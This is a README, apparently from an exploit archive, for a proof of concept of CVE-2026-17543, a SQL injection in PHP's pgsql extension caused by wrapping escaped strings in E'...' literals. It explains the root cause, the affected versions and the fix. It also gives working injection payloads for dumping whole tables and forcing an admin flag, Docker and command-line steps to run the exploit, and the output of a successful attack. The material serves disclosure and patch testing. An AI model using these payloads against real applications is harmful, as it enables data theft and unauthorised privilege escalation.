## https://sploitus.com/exploit?id=51E0C907-B3A2-5065-ACFF-108F965DE50B
# CVE-2026-17543 — SQL Injection in PHP `ext/pgsql` via `E'...'` Backslash Breakout
Proof of concept for **CVE-2026-17543** (CVSS 9.8 Critical, CWE-89), a SQL injection
vulnerability in PHP's procedural PostgreSQL extension.
## Vulnerability Summary
`pg_insert()`, `pg_select()`, `pg_update()`, `pg_delete()`, and `pg_convert()` all
route string values through `php_pgsql_convert()`, which:
1. **Escapes** the value with libpq's `PQescapeStringConn()` — which, under
`standard_conforming_strings = on` (the PostgreSQL default since 9.1), doubles
`'` into `''` and leaves `\` untouched (correct for a standard `'...'` literal).
2. **Wraps** the escaped result with `php_pgsql_add_quotes()` in an escape-string
constant `E'...'` instead of a plain `'...'`.
Inside `E'...'`, the backslash **is** an escape character, so a `\` placed before a
quote defeats the quote-doubling: `\'` becomes one literal `'`, and the *second*
quote — placed there by the escaper to be a doubled literal — now terminates the
string early. Everything after is raw, injected SQL.
The official fix (commit [`ab048bd83b57`](https://github.com/php/php-src/commit/ab048bd83b578119cf81b456526d50498421d617))
is one character: emit `'...'` instead of `E'...'`.
## Affected Versions
| Branch | Vulnerable | Fixed |
|---|---|---|
| PHP 8.2 | `< 8.2.33` | 8.2.33 |
| PHP 8.3 | `< 8.3.33` | 8.3.33 |
| PHP 8.4 | `< 8.4.24` | 8.4.24 |
| PHP 8.5 | `< 8.5.9` | 8.5.9 |
**Not affected:** `pg_query_params()` (real parameter binding) and `PDO_PGSQL`
prepared statements / `PDO::quote()` — these use distinct code paths that never call
`php_pgsql_add_quotes()`.
## Payload
```
zzz\' OR 1=1 --
```
(one backslash immediately before the single quote)
- **Vulnerable build** emits `... WHERE "name"=E'zzz\'' OR 1=1 --'` → `OR 1=1` is
parsed as SQL → returns every row.
- **Patched build** emits `... WHERE "name"='zzz\'' OR 1=1 --'` → the backslash is
ordinary, so `OR 1=1 --` is swallowed *inside* the string literal → matches nothing.
A second payload (`eve\', true) --`) demonstrates privilege escalation through
`pg_insert()`, forcing an `admin` column to `true`.
## Files
| File | Description |
|---|---|
| `poc.php` | Demonstrates both the `pg_select` data-exfiltration and `pg_insert` privilege-escalation variants; prints the generated SQL so the `E'...'` token is visible |
| `Dockerfile` | Pins a vulnerable PHP CLI image (`php:8.4.23-cli`) with `ext/pgsql` |
| `docker-compose.yml` | Spins up PostgreSQL 16 + the vulnerable PHP container and runs `poc.php` |
## Quick Start (Docker)
```bash
docker compose up --build --abort-on-container-exit
```
### Expected output on a vulnerable build
```
PHP version: 8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------
[1] pg_select() data exfiltration
payload (runtime): zzz\' OR 1=1 --
generated SQL:
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
rows returned: 2
[!] INJECTION - leaked every row in the table
[2] pg_insert() privilege escalation
name payload (runtime): eve\', true) --
generated SQL:
INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
inserted row admin flag: 't'
[!] INJECTION - admin column forced to TRUE
Done.
```
On a **patched** build the generated SQL contains `'...'` (no `E`), `[1]` reports
`rows returned: 0` / `no injection`, and `[2]` reports `admin flag: 'f'`.
## Running Without Docker
Point `PGCONN` at any PostgreSQL and run with a vulnerable PHP:
```bash
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php
```
## Requirements
- A **vulnerable** PHP build in the ranges above, compiled with `ext/pgsql`
(`--with-pgsql` / the `pgsql` extension).
- Any PostgreSQL (9.1+, i.e. with `standard_conforming_strings = on`).
## Teardown
```bash
docker compose down -v
```
## ⚠️ Safety Notice
The PHP image used here is, by definition, unpatched for CVE-2026-17543. Run it only
in an isolated, throwaway container, and `docker compose down -v` when finished. Never
point this PoC at a database you care about.
## References
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17543
- GitHub Advisory GHSA-7qpv-r5mr-78m4: https://github.com/php/php-src/security/advisories/GHSA-7qpv-r5mr-78m4
- Fix commit: https://github.com/php/php-src/commit/ab048bd83b578119cf81b456526d50498421d617